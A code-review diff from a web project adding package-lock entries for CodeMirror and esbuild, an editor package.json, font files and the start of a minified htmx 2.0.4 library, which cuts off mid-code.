| 846 | + | "@lezer/lr": "^1.0.0" | |
| 847 | + | } | |
| 848 | + | }, | |
| 849 | + | "node_modules/@lezer/xml": { | |
| 850 | + | "version": "1.0.6", | |
| 851 | + | "resolved": "https://registry.npmjs.org/@lezer/xml/-/xml-1.0.6.tgz", | |
| 852 | + | "integrity": "sha512-CdDwirL0OEaStFue/66ZmFSeppuL6Dwjlk8qk153mSQwiSH/Dlri4GNymrNWnUmPl2Um7QfV1FO9KFUyX3Twww==", | |
| 853 | + | "license": "MIT", | |
| 854 | + | "dependencies": { | |
| 855 | + | "@lezer/common": "^1.2.0", | |
| 856 | + | "@lezer/highlight": "^1.0.0", | |
| 857 | + | "@lezer/lr": "^1.0.0" | |
| 858 | + | } | |
| 859 | + | }, | |
| 860 | + | "node_modules/@lezer/yaml": { | |
| 861 | + | "version": "1.0.4", | |
| 862 | + | "resolved": "https://registry.npmjs.org/@lezer/yaml/-/yaml-1.0.4.tgz", | |
| 863 | + | "integrity": "sha512-2lrrHqxalACEbxIbsjhqGpSW8kWpUKuY6RHgnSAFZa6qK62wvnPxA8hGOwOoDbwHcOFs5M4o27mjGu+P7TvBmw==", | |
| 864 | + | "license": "MIT", | |
| 865 | + | "dependencies": { | |
| 866 | + | "@lezer/common": "^1.2.0", | |
| 867 | + | "@lezer/highlight": "^1.0.0", | |
| 868 | + | "@lezer/lr": "^1.4.0" | |
| 869 | + | } | |
| 870 | + | }, | |
| 871 | + | "node_modules/@marijn/find-cluster-break": { | |
| 872 | + | "version": "1.0.3", | |
| 873 | + | "resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.3.tgz", | |
| 874 | + | "integrity": "sha512-FY+MKLBoTsLNJF/eLWaOsXGdz6uh3Iu1axjPf6TUq92IYumcTcXWHoS747JARLkcdlJ/Waiaxc5wQfFO8jC6NA==", | |
| 875 | + | "license": "MIT" | |
| 876 | + | }, | |
| 877 | + | "node_modules/codemirror": { | |
| 878 | + | "version": "6.0.2", | |
| 879 | + | "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-6.0.2.tgz", | |
| 880 | + | "integrity": "sha512-VhydHotNW5w1UGK0Qj96BwSk/Zqbp9WbnyK2W/eVMv4QyF41INRGpjUhFJY7/uDNuudSc33a/PKr4iDqRduvHw==", | |
| 881 | + | "license": "MIT", | |
| 882 | + | "dependencies": { | |
| 883 | + | "@codemirror/autocomplete": "^6.0.0", | |
| 884 | + | "@codemirror/commands": "^6.0.0", | |
| 885 | + | "@codemirror/language": "^6.0.0", | |
| 886 | + | "@codemirror/lint": "^6.0.0", | |
| 887 | + | "@codemirror/search": "^6.0.0", | |
| 888 | + | "@codemirror/state": "^6.0.0", | |
| 889 | + | "@codemirror/view": "^6.0.0" | |
| 890 | + | } | |
| 891 | + | }, | |
| 892 | + | "node_modules/crelt": { | |
| 893 | + | "version": "1.0.7", | |
| 894 | + | "resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.7.tgz", | |
| 895 | + | "integrity": "sha512-aK6BbWfhf4U/wCcLHKPJl/xa6VkVstRaPywWtMKGwuOLc/wZTyQYuoxgvZnNsBvv7Kg3YTBQYYBCggcviQczuA==", | |
| 896 | + | "license": "MIT" | |
| 897 | + | }, | |
| 898 | + | "node_modules/esbuild": { | |
| 899 | + | "version": "0.24.2", | |
| 900 | + | "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.24.2.tgz", | |
| 901 | + | "integrity": "sha512-+9egpBW8I3CD5XPe0n6BfT5fxLzxrlDzqydF3aviG+9ni1lDC/OvMHcxqEFV0+LANZG5R1bFMWfUrjVsdwxJvA==", | |
| 902 | + | "dev": true, | |
| 903 | + | "hasInstallScript": true, | |
| 904 | + | "license": "MIT", | |
| 905 | + | "bin": { | |
| 906 | + | "esbuild": "bin/esbuild" | |
| 907 | + | }, | |
| 908 | + | "engines": { | |
| 909 | + | "node": ">=18" | |
| 910 | + | }, | |
| 911 | + | "optionalDependencies": { | |
| 912 | + | "@esbuild/aix-ppc64": "0.24.2", | |
| 913 | + | "@esbuild/android-arm": "0.24.2", | |
| 914 | + | "@esbuild/android-arm64": "0.24.2", | |
| 915 | + | "@esbuild/android-x64": "0.24.2", | |
| 916 | + | "@esbuild/darwin-arm64": "0.24.2", | |
| 917 | + | "@esbuild/darwin-x64": "0.24.2", | |
| 918 | + | "@esbuild/freebsd-arm64": "0.24.2", | |
| 919 | + | "@esbuild/freebsd-x64": "0.24.2", | |
| 920 | + | "@esbuild/linux-arm": "0.24.2", | |
| 921 | + | "@esbuild/linux-arm64": "0.24.2", | |
| 922 | + | "@esbuild/linux-ia32": "0.24.2", | |
| 923 | + | "@esbuild/linux-loong64": "0.24.2", | |
| 924 | + | "@esbuild/linux-mips64el": "0.24.2", | |
| 925 | + | "@esbuild/linux-ppc64": "0.24.2", | |
| 926 | + | "@esbuild/linux-riscv64": "0.24.2", | |
| 927 | + | "@esbuild/linux-s390x": "0.24.2", | |
| 928 | + | "@esbuild/linux-x64": "0.24.2", | |
| 929 | + | "@esbuild/netbsd-arm64": "0.24.2", | |
| 930 | + | "@esbuild/netbsd-x64": "0.24.2", | |
| 931 | + | "@esbuild/openbsd-arm64": "0.24.2", | |
| 932 | + | "@esbuild/openbsd-x64": "0.24.2", | |
| 933 | + | "@esbuild/sunos-x64": "0.24.2", | |
| 934 | + | "@esbuild/win32-arm64": "0.24.2", | |
| 935 | + | "@esbuild/win32-ia32": "0.24.2", | |
| 936 | + | "@esbuild/win32-x64": "0.24.2" | |
| 937 | + | } | |
| 938 | + | }, | |
| 939 | + | "node_modules/style-mod": { | |
| 940 | + | "version": "4.1.3", | |
| 941 | + | "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.3.tgz", | |
| 942 | + | "integrity": "sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==", | |
| 943 | + | "license": "MIT" | |
| 944 | + | }, | |
| 945 | + | "node_modules/w3c-keyname": { | |
| 946 | + | "version": "2.2.8", | |
| 947 | + | "resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz", | |
| 948 | + | "integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==", | |
| 949 | + | "license": "MIT" | |
| 950 | + | } | |
| 951 | + | } | |
| 952 | + | } | |
Acrates/df-web/assets/editor/package.json+28−0
| @@ −0,0 +1,28 @@ | |||
| 1 | + | { | |
| 2 | + | "name": "dogfood-editor", | |
| 3 | + | "private": true, | |
| 4 | + | "description": "The CodeMirror bundle for in-browser file editing. Built at image build time by esbuild; no Node reaches the runtime image.", | |
| 5 | + | "dependencies": { | |
| 6 | + | "@codemirror/lang-cpp": "^6.0.2", | |
| 7 | + | "@codemirror/lang-css": "^6.3.1", | |
| 8 | + | "@codemirror/lang-html": "^6.4.9", | |
| 9 | + | "@codemirror/lang-java": "^6.0.1", | |
| 10 | + | "@codemirror/lang-javascript": "^6.2.2", | |
| 11 | + | "@codemirror/lang-json": "^6.0.1", | |
| 12 | + | "@codemirror/lang-markdown": "^6.3.1", | |
| 13 | + | "@codemirror/lang-php": "^6.0.1", | |
| 14 | + | "@codemirror/lang-python": "^6.1.6", | |
| 15 | + | "@codemirror/lang-rust": "^6.0.1", | |
| 16 | + | "@codemirror/lang-sql": "^6.8.0", | |
| 17 | + | "@codemirror/lang-xml": "^6.1.0", | |
| 18 | + | "@codemirror/lang-yaml": "^6.1.2", | |
| 19 | + | "@codemirror/legacy-modes": "^6.4.2", | |
| 20 | + | "@codemirror/language": "^6.10.8", | |
| 21 | + | "@codemirror/state": "^6.5.0", | |
| 22 | + | "@codemirror/view": "^6.36.1", | |
| 23 | + | "codemirror": "^6.0.1" | |
| 24 | + | }, | |
| 25 | + | "devDependencies": { | |
| 26 | + | "esbuild": "^0.24.2" | |
| 27 | + | } | |
| 28 | + | } | |
Acrates/df-web/assets/fonts/jetbrains-mono-400.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/jetbrains-mono-500.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-condensed-500.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-condensed-600.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-condensed-700.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-sans-400.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-sans-500.woff2binary
Binary file not shown.
Acrates/df-web/assets/fonts/plex-sans-600.woff2binary
Binary file not shown.
Acrates/df-web/assets/htmx.min.js+1−0
| @@ −0,0 +1,1 @@ | |||
| 1 | + | var htmx=function(){"use strict";const Q={onLoad:null,process:null,on:null,off:null,trigger:null,ajax:null,find:null,findAll:null,closest:null,values:function(e,t){const n=cn(e,t||"post");return n.values},remove:null,addClass:null,removeClass:null,toggleClass:null,takeClass:null,swap:null,defineExtension:null,removeExtension:null,logAll:null,logNone:null,logger:null,config:{historyEnabled:true,historyCacheSize:10,refreshOnHistoryMiss:false,defaultSwapStyle:"innerHTML",defaultSwapDelay:0,defaultSettleDelay:20,includeIndicatorStyles:true,indicatorClass:"htmx-indicator",requestClass:"htmx-request",addedClass:"htmx-added",settlingClass:"htmx-settling",swappingClass:"htmx-swapping",allowEval:true,allowScriptTags:true,inlineScriptNonce:"",inlineStyleNonce:"",attributesToSettle:["class","style","width","height"],withCredentials:false,timeout:0,wsReconnectDelay:"full-jitter",wsBinaryType:"blob",disableSelector:"[hx-disable], [data-hx-disable]",scrollBehavior:"instant",defaultFocusScroll:false,getCacheBusterParam:false,globalViewTransitions:false,methodsThatUseUrlParams:["get","delete"],selfRequestsOnly:true,ignoreTitle:false,scrollIntoViewOnBoost:true,triggerSpecsCache:null,disableInheritance:false,responseHandling:[{code:"204",swap:false},{code:"[23]..",swap:true},{code:"[45]..",swap:false,error:true}],allowNestedOobSwaps:true},parseInterval:null,_:null,version:"2.0.4"};Q.onLoad=j;Q.process=kt;Q.on=ye;Q.off=be;Q.trigger=he;Q.ajax=Rn;Q.find=u;Q.findAll=x;Q.closest=g;Q.remove=z;Q.addClass=K;Q.removeClass=G;Q.toggleClass=W;Q.takeClass=Z;Q.swap=$e;Q.defineExtension=Fn;Q.removeExtension=Bn;Q.logAll=V;Q.logNone=_;Q.parseInterval=d;Q._=e;const n={addTriggerHandler:St,bodyContains:le,canAccessLocalStorage:B,findThisElement:Se,filterValues:hn,swap:$e,hasAttribute:s,getAttributeValue:te,getClosestAttributeValue:re,getClosestMatch:o,getExpressionVars:En,getHeaders:fn,getInputValues:cn,getInternalData:ie,getSwapSpecification:gn,getTriggerSpecs:st,getTarget:Ee,makeFragment:P,mergeObjects:ce,makeSettleInfo:xn,oobSwap:He,querySelectorExt:ae,settleImmediately:Kt,shouldCancel:ht,triggerEvent:he,triggerErrorEvent:fe,withExtensions:Ft};const r=["get","post","put","delete","patch"];const H=r.map(function(e){return"[hx-"+e+"], [data-hx-"+e+"]"}).join(", ");function d(e){if(e==undefined){return undefined}let t=NaN;if(e.slice(-2)=="ms"){t=parseFloat(e.slice(0,-2))}else if(e.slice(-1)=="s"){t=parseFloat(e.slice(0,-1))*1e3}else if(e.slice(-1)=="m"){t=parseFloat(e.slice(0,-1))*1e3*60}else{t=parseFloat(e)}return isNaN(t)?undefined:t}function ee(e,t){return e instanceof Element&&e.getAttribute(t)}function s(e,t){return!!e.hasAttribute&&(e.hasAttribute(t)||e.hasAttribute("data-"+t))}function te(e,t){return ee(e,t)||ee(e,"data-"+t)}function c(e){const t=e.parentElement;if(!t&&e.parentNode instanceof ShadowRoot)return e.parentNode;return t}function ne(){return document}function m(e,t){return e.getRootNode?e.getRootNode({composed:t}):ne()}function o(e,t){while(e&&!t(e)){e=c(e)}return e||null}function i(e,t,n){const r=te(t,n);const o=te(t,"hx-disinherit");var i=te(t,"hx-inherit");if(e!==t){if(Q.config.disableInheritance){if(i&&(i==="*"||i.split(" ").indexOf(n)>=0)){return r}else{return null}}if(o&&(o==="*"||o.split(" ").indexOf(n)>=0)){return"unset"}}return r}function re(t,n){let r=null;o(t,function(e){return!!(r=i(t,ue(e),n))});if(r!=="unset"){return r}}function h(e,t){const n=e instanceof Element&&(e.matches||e.matchesSelector||e.msMatchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.oMatchesSelector);return!!n&&n.call(e,t)}function T(e){const t=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i;const n=t.exec(e);if(n){return n[1].toLowerCase()}else{return""}}function q(e){const t=new DOMParser;return t.parseFromString(e,"text/html")}function L(e,t){while(t.childNodes.length>0){e.append(t.childNodes[0])}}function A(e){const t=ne().createElement("script");se(e.attributes,function(e){t.setAttribute(e.name,e.value)});t.textContent=e.textContent;t.async=false;if(Q.config.inlineScriptNonce){t.nonce=Q.config.inlineScriptNonce}return t}function N(e){return e.matches("script")&&(e.type==="text/javascript"||e.type==="module"||e.type==="")}function I(e){Array.from(e.querySelectorAll("script")).forEach(e=>{if(N(e)){const t=A(e);const n=e.parentNode;try{n.insertBefore(t,e)}catch(e){O(e)}finally{e.remove()}}})}function P(e){const t=e.replace(/<head(\s[^>]*)?>[\s\S]*?<\/head>/i,"");const n=T(t);let r;if(n==="html"){r=new DocumentFragment;const i=q(e);L(r,i.body);r.title=i.title}else if(n==="body"){r=new DocumentFragment;const i=q(t);L(r,i.body);r.title=i.title}else{const i=q('<body><template class="internal-htmx-wrapper">'+t+"</template></body>");r=i.querySelector("template").content;r.title=i.title;var o=r.querySelector("title");if(o&&o.parentNode===r){o.remove();r.title=o.innerText}}if(r){if(Q.config.allowScriptTags){I(r)}else{r.querySelectorAll("script").forEach(e=>e.remove())}}return r}function oe(e){if(e){e()}}function t(e,t){return Object.prototype.toString.call(e)==="[object "+t+"]"}function k(e){return typeof e==="function"}function D(e){return t(e,"Object")}function ie(e){const t="htmx-internal-data";let n=e[t];if(!n){n=e[t]={}}return n}function M(t){const n=[];if(t){for(let e=0;e<t.length;e++){n.push(t[e])}}return n}function se(t,n){if(t){for(let e=0;e<t.length;e++){n(t[e])}}}function X(e){const t=e.getBoundingClientRect();const n=t.top;const r=t.bottom;return n<window.innerHeight&&r>=0}function le(e){return e.getRootNode({composed:true})===document}function F(e){return e.trim().split(/\s+/)}function ce(e,t){for(const n in t){if(t.hasOwnProperty(n)){e[n]=t[n]}}return e}function S(e){try{return JSON.parse(e)}catch(e){O(e);return null}}function B(){const e="htmx:localStorageTest";try{localStorage.setItem(e,e);localStorage.removeItem(e);return true}catch(e){return false}}function U(t){try{const e=new URL(t);if(e){t=e.pathname+e.search}if(!/^\/$/.test(t)){t=t.replace(/\/+$/,"")}return t}catch(e){return t}}function e(e){return vn(ne().body,function(){return eval(e)})}function j(t){const e=Q.on("htmx:load",function(e){t(e.detail.elt)});return e}function V(){Q.logger=function(e,t,n){if(console){console.log(t,e,n)}}}function _(){Q.logger=null}function u(e,t){if(typeof e!=="string"){return e.querySelector(t)}else{return u(ne(),e)}}function x(e,t){if(typeof e!=="string"){return e.querySelectorAll(t)}else{return x(ne(),e)}}function E(){return window}function z(e,t){e=y(e);if(t){E().setTimeout(function(){z(e);e=null},t)}else{c(e).removeChild(e)}}function ue(e){return e instanceof Element?e:null}function $(e){return e instanceof HTMLElement?e:null}function J(e){return typeof e==="string"?e:null}function f(e){return e instanceof Element||e instanceof Document||e instanceof DocumentFragment?e:null}function K(e,t,n){e=ue(y(e));if(!e){return}if(n){E().setTimeout(function(){K(e,t);e=null},n)}else{e.classList&&e.classList.add(t)}}function G(e,t,n){let r=ue(y(e));if(!r){return}if(n){E().setTimeout(function(){G(r,t);r=null},n)}else{if(r.classList){r.classList.remove(t);if(r.classList.length===0){r.removeAttribute("class")}}}}function W(e,t){e=y(e);e.classList.toggle(t)}function Z(e,t){e=y(e);se(e.parentElement.children,function(e){G(e,t)});K(ue(e),t)}function g(e,t){e=ue(y(e));if(e&&e.closest){return e.closest(t)}else{do{if(e==null||h(e,t)){return e}}while(e=e&&ue(c(e)));return null}}function l(e,t){return e.substring(0,t.length)===t}function Y(e,t){return e.substring(e.length-t.length)===t}function ge(e){const t=e.trim();if(l(t,"<")&&Y(t,"/>")){return t.substring(1,t.length-2)}else{return t}}function p(t,r,n){if(r.indexOf("global ")===0){return p(t,r.slice(7),true)}t=y(t);const o=[];{let t=0;let n=0;for(let e=0;e<r.length;e++){const l=r[e];if(l===","&&t===0){o.push(r.substring(n,e));n=e+1;continue}if(l==="<"){t++}else if(l==="/"&&e<r.length-1&&r[e+1]===">"){t--}}if(n<r.length){o.push(r.substring(n))}}const i=[];const s=[];while(o.length>0){const r=ge(o.shift());let e;if(r.indexOf("closest ")===0){e=g(ue(t),ge(r.substr(8)))}else if(r.indexOf("find ")===0){e=u(f(t),ge(r.substr(5)))}else if(r==="next"||r==="nextElementSibling"){e=ue(t).nextElementSibling}else if(r.indexOf("next ")===0){e=pe(t,ge(r.substr(5)),!!n)}else if(r==="previous"||r==="previousElementSibling"){e=ue(t).previousElementSibling}else if(r.indexOf("previous ")===0){e=me(t,ge(r.substr(9)),!!n)}else if(r==="document"){e=document}else if(r==="window"){e=window}else if(r==="body"){e=document.body}else if(r==="root"){e=m(t,!!n)}else if(r==="host"){e=t.getRootNode().host}else{s.push(r)}if(e){i.push(e)}}if(s.length>0){const e=s.join(",");const c=f(m(t,!!n));i.push(...M(c.querySelectorAll(e)))}return i}var pe=function(t,e,n){const r=f(m(t,n)).querySelectorAll(e);for(let e=0;e<r.length;e++){const o=r[e];if(o.compareDocumentPosition(t)===Node.DOCUMENT_POSITION_PRECEDING){return o}}};var me=function(t,e,n){const r=f(m(t,n)).querySelectorAll(e);for(let e=r.length-1;e>=0;e--){const o=r[e];if(o.compareDocumentPosition(t)===Node.DOCUMENT_POSITION_FOLLOWING){return o}}};function ae(e,t){if(typeof e!=="string"){return p(e,t)[0]}else{return p(ne().body,e)[0]}}function y(e,t){if(typeof e==="string"){return u(f(t)||document,e)}else{return e}}function xe(e,t,n,r){if(k(t)){return{target:ne().body,event:J(e),listener:t,options:n}}else{return{target:y(e),event:J(t),listener:n,options:r}}}function ye(t,n,r,o){Vn(function(){const e=xe(t,n,r,o);e.target.addEventListener(e.event,e.listener,e.options)});const e=k(n);return e?n:r}function be(t,n,r){Vn(function(){const e=xe(t,n,r);e.target.removeEventListener(e.event,e.listener)});return k(n)?n:r}const ve=ne().createElement("output");function we(e,t){const n=re(e,t);if(n){if(n==="this"){return[Se(e,t)]}else{const r=p(e,n);if(r.length===0){O('The selector "'+n+'" on '+t+" returned no matches!");return[ve]}else{return r}}}}function Se(e,t){return ue(o(e,function(e){return te(ue(e),t)!=null}))}function Ee(e){const t=re(e,"hx-target");if(t){if(t==="this"){return Se(e,"hx-target")}else{return ae(e,t)}}else{const n=ie(e);if(n.boosted){return ne().body}else{return e}}}function Ce(t){const n=Q.config.attributesToSettle;for(let e=0;e<n.length;e++){if(t===n[e]){return true}}return false}function Oe(t,n){se(t.attributes,function(e){if(!n.hasAttribute(e.name)&&Ce(e.name)){t.removeAttribute(e.name)}});se(n.attributes,function(e){if(Ce(e.name)){t.setAttribute(e.name,e.value)}})}function Re(t,e){const n=Un(e);for(let e=0;e<n.length;e++){const r=n[e];try{if(r.isInlineSwap(t)){return true}}catch(e){O(e)}}return t==="outerHTML"}function He(e,o,i,t){t=t||ne();let n="#"+ee(o,"id");let s="outerHTML";if(e==="true"){}else if(e.indexOf(":")>0){s=e.substring(0,e.indexOf(":"));n=e.substring(e.indexOf(":")+1)}else{s=e}o.removeAttribute("hx-swap-oob");o.removeAttribute("data-hx-swap-oob");const r=p(t,n,false);if(r){se(r,function(e){let t;const n=o.cloneNode(true);t=ne().createDocumentFragment();t.appendChild(n);if(!Re(s,e)){t=f(n)}const r={shouldSwap:true,target:e,fragment:t};if(!he(e,"htmx:oobBeforeSwap",r))return;e=r.target;if(r.shouldSwap){qe(t);_e(s,e,e,t,i);Te()}se(i.elts,function(e){he(e,"htmx:oobAfterSwap",r)})});o.parentNode.removeChild(o)}else{o.parentNode.removeChild(o);fe(ne().body,"htmx:oobErrorNoTarget",{content:o})}return e}function Te(){const e=u("#--htmx-preserve-pantry--");if(e){for(const t of[...e.children]){const n=u("#"+t.id);n.parentNode.moveBefore(t,n);n.remove()}e.remove()}}function qe(e){se(x(e,"[hx-preserve], [data-hx-preserve]"),function(e){const t=te(e,"id");const n=ne().getElementById(t);if(n!=null){if(e.moveBefore){let e=u("#--htmx-preserve-pantry--");if(e==null){ne().body.insertAdjacentHTML("afterend","<div id='--htmx-preserve-pantry--'></div>");e=u("#--htmx-preserve-pantry--")}e.moveBefore(n,null)}else{e.parentNode.replaceChild(n,e)}}})}function Le(l,e,c){se(e.querySelectorAll("[id]"),function(t){const n=ee(t,"id");if(n&&n.length>0){const r=n.replace("'","\\'");const o=t.tagName.replace(":","\\:");const e=f(l);const i=e&&e.querySelector(o+"[id='"+r+"']");if(i&&i!==e){const s=t.cloneNode();Oe(t,i);c.tasks.push(function(){Oe(t,s)})}}})}function Ae(e){return function(){G(e,Q.config.addedClass);kt(ue(e));Ne(f(e));he(e,"htmx:load")}}function Ne(e){const t="[autofocus]";const n=$(h(e,t)?e:e.querySelector(t));if(n!=null){n.focus()}}function a(e,t,n,r){Le(e,n,r);while(n.childNodes.length>0){const o=n.firstChild;K(ue(o),Q.config.addedClass);e.insertBefore(o,t);if(o.nodeType!==Node.TEXT_NODE&&o.nodeType!==Node.COMMENT_NODE){r.tasks.push(Ae(o))}}}function Ie(e,t){let n=0;while(n<e.length){t=(t<<5)-t+e.charCodeAt(n++)|0}return t}function Pe(t){let n=0;if(t.attributes){for(let e=0;e<t.attributes.length;e++){const r=t.attributes[e];if(r.value){n=Ie(r.name,n);n=Ie(r.value,n)}}}return n}function ke(t){const n=ie(t);if(n.onHandlers){for(let e=0;e<n.onHandlers.length;e++){const r=n.onHandlers[e];be(t,r.event,r.listener)}delete n.onHandlers}}function De(e){const t=ie(e);if(t.timeout){clearTimeout(t.timeout)}if(t.listenerInfos){se(t.listenerInfos,function(e){if(e.on){be(e.on,e.trigger,e.listener)}})}ke(e);se(Object.keys(t),function(e){if(e!=="firstInitCompleted")delete t[e]})}function b(e){he(e,"htmx:beforeCleanupElement");De(e);if(e.children){se(e.children,function(e){b(e)})}}function Me(t,e,n){if(t instanceof Element&&t.tagName==="BODY"){return Ve(t,e,n)}let r;const o=t.previousSibling;const i=c(t);if(!i){return}a(i,t,e,n);if(o==null){r=i.firstChild}else{r=o.nextSibling}n.elts=n.elts.filter(function(e){return e!==t});while(r&&r!==t){if(r instanceof Element){n.elts.push(r)}r=r.nextSibling}b(t);if(t instanceof Element){t.remove()}else{t.parentNode.removeChild(t)}}function Xe(e,t,n){return a(e,e.firstChild,t,n)}function Fe(e,t,n){return a(c(e),e,t,n)}function Be(e,t,n){return a(e,null,t,n)}function Ue(e,t,n){return a(c(e),e.nextSibling,t,n)}function je(e){b(e);const t=c(e);if(t){return t.removeChild(e)}}function Ve(e,t,n){const r=e.firstChild;a(e,r,t,n);if(r){while(r.nextSibling){b(r.nextSibling);e.removeChild(r.nextSibling)}b(r);e.removeChild(r)}}function _e(t,e,n,r,o){switch(t){case"none":return;case"outerHTML":Me(n,r,o);return;case"afterbegin":Xe(n,r,o);return;case"beforebegin":Fe(n,r,o);return;case"beforeend":Be(n,r,o);return;case"afterend":Ue(n,r,o);return;case"delete":je(n);return;default:var i=Un(e);for(let e=0;e<i.length;e++){const s=i[e];try{const l=s.handleSwap(t,n,r,o);if(l){if(Array.isArray(l)){for(let e=0;e<l.length;e++){const c=l[e];if(c.nodeType!==Node.TEXT_NODE&&c.nodeType!==Node.COMMENT_NODE){o.tasks.push(Ae(c))}}}return}}catch(e){O(e)}}if(t==="innerHTML"){Ve(n,r,o)}else{_e(Q.config.defaultSwapStyle,e,n,r,o)}}}function ze(e,n,r){var t=x(e,"[hx-swap-oob], [data-hx-swap-oob]");se(t,function(e){if(Q.config.allowNestedOobSwaps||e.parentElement===null){const t=te(e,"hx-swap-oob");if(t!=null){He(t,e,n,r)}}else{e.removeAttribute("hx-swap-oob");e.removeAttribute("data-hx-swap-oob")}});return t.length>0}function $e(e,t,r,o){if(!o){o={}}e=y(e);const i=o.contextElement?m(o.contextElement,false):ne();const n=document.activeElement;let s={};try{s={elt:n,start:n?n.selectionStart:null,end:n?n.selectionEnd:null}}catch(e){}const l=xn(e);if(r.swapStyle==="textContent"){e.textContent=t}else{let n=P(t);l.title=n.title;if(o.selectOOB){const u=o.selectOOB.split(",");for(let t=0;t<u.length;t++){const a=u[t].split(":",2);let e=a[0].trim();if(e.indexOf("#")===0){e=e.substring(1)}const f=a[1]||"true";const h=n.querySelector("#"+e);if(h){He(f,h,l,i)}}}ze(n,l,i);se(x(n,"template"),function(e){if(e.content&&ze(e.content,l,i)){e.remove()}});if(o.select){const d=ne().createDocumentFragment();se(n.querySelectorAll(o.select),function(e){d.appendChild(e)});n=d}qe(n);_e(r.swapStyle,o.contextElement,e,n,l);Te()}if(s.elt&&!le(s.elt)&&ee(s.elt,"id")){const g=document.getElementById(ee(s.elt,"id"));const p={preventScroll:r.focusScroll!==undefined?!r.focusScroll:!Q.config.defaultFocusScroll};if(g){if(s.start&&g.setSelectionRange){try{g.setSelectionRange(s.start,s.end)}catch(e){}}g.focus(p)}}e.classList.remove(Q.config.swappingClass);se(l.elts,function(e){if(e.classList){e.classList.add(Q.config.settlingClass)}he(e,"htmx:afterSwap",o.eventInfo)});if(o.afterSwapCallback){o.afterSwapCallback()}if(!r.ignoreTitle){kn(l.title)}const c=function(){se(l.tasks,function(e){e.call()});se(l.elts,function(e){if(e.classList){e.classList.remove(Q.config.settlingClass)}he(e,"htmx:afterSettle",o.eventInfo)});if(o.anchor){const e=ue(y("#"+o.anchor));if(e){e.scrollIntoView({block:"start",behavior:"auto"})}}yn(l.elts,r);if(o.afterSettleCallback){o.afterSettleCallback()}};if(r.settleDelay>0){E().setTimeout(c,r.settleDelay)}else{c()}}function Je(e,t,n){const r=e.getResponseHeader(t);if(r.indexOf("{")===0){const o=S(r);for(const i in o){if(o.hasOwnProperty(i)){let e=o[i];if(D(e)){n=e.target!==undefined?e.target:n}else{e={value:e}}he(n,i,e)}}}else{const s=r.split(",");for(let e=0;e<s.length;e++){he(n,s[e].trim(),[])}}}const Ke=/\s/;const v=/[\s,]/;const Ge=/[_$a-zA-Z]/;const We=/[_$a-zA-Z0-9]/;const Ze=['"',"'","/"];const w=/[^\s]/;const Ye=/[{(]/;const Qe=/[})]/;function et(e){const t=[];let n=0;while(n<e.length){if(Ge.exec(e.charAt(n))){var r=n;while(We.exec(e.charAt(n+1))){n++}t.push(e.substring(r,n+1))}else if(Ze.indexOf(e.charAt(n))!==-1){const o=e.charAt(n);var r=n;n++;while(n<e.length&&e.charAt(n)!==o){if(e.charAt(n)==="\\"){n++}n++}t.push(e.substring(r,n+1))}else{const i=e.charAt(n);t.push(i)}n++}return t}function tt(e,t,n){return Ge.exec(e.charAt(0))&&e!=="true"&&e!=="false"&&e!=="this"&&e!==n&&t!=="."}function nt(r,o,i){if(o[0]==="["){o.shift();let e=1;let t=" return (function("+i+"){ return (";let n=null;while(o.length>0){const s=o[0];if(s==="]"){e--;if(e===0){if(n===null){t=t+"true"}o.shift();t+=")})";try{const l=vn(r,function(){return Function(t)()},function(){return true});l.source=t;return l}catch(e){fe(ne().body,"htmx:syntax:error",{error:e,source:t});return null}}}else if(s==="["){e++}if(tt(s,n,i)){t+="(("+i+"."+s+") ? ("+i+"."+s+") : (window."+s+"))"}else{t=t+s}n=o.shift()}}}function C(e,t){let n="";while(e.length>0&&!t.test(e[0])){n+=e.shift()}return n}function rt(e){let t;if(e.length>0&&Ye.test(e[0])){e.shift();t=C(e,Qe).trim();e.shift()}else{t=C(e,v)}return t}const ot="input, textarea, select";function it(e,t,n){const r=[];const o=et(t);do{C(o,w);const l=o.length;const c=C(o,/[,\[\s]/);if(c!==""){if(c==="every"){const u={trigger:"every"};C(o,w);u.pollInterval=d(C(o,/[,\[\s]/));C(o,w);var i=nt(e,o,"event");if(i){u.eventFilter=i}r.push(u)}else{const a={trigger:c};var i=nt(e,o,"event");if(i){a.eventFilter=i}C(o,w);while(o.length>0&&o[0]!==","){const f=o.shift();if(f==="changed"){a.changed=true}else if(f==="once"){a.once=true}else if(f==="consume"){a.consume=true}else if(f==="delay"&&o[0]===":"){o.shift();a.delay=d(C(o,v))}else if(f==="from"&&o[0]===":"){o.shift();if(Ye.test(o[0])){var s=rt(o)}else{var s=C(o,v);if(s==="closest"||s==="find"||s==="next"||s==="previous"){o.shift();const h=rt(o);if(h.length>0){s+=" "+h}}}a.from=s}else if(f==="target"&&o[0]===":"){o.shift();a.target=rt(o)}else if(f==="throttle"&&o[0]===":"){o.shift();a.throttle=d(C(o,v))}else if(f==="queue"&&o[0]===":"){o.shift();a.queue=C(o,v)}else if(f==="root"&&o[0]===":"){o.shift();a[f]=rt(o)}else if(f==="threshold"&&o[0]===":"){o.shift();a[f]=C(o,v)}else{fe(e,"htmx:syntax:error",{token:o.shift()})}C(o,w)}r.push(a)}}if(o.length===l){fe(e,"htmx:syntax:error",{token:o.shift()})}C(o,w)}while(o[0]===","&&o.shift());if(n){n[t]=r}return r}function st(e){const t=te(e,"hx-trigger");let n=[];if(t){const r=Q.config.triggerSpecsCache;n=r&&r[t]||it(e,t,r)}if(n.length>0){return n}else if(h(e,"form")){return[{trigger:"submit"}]}else 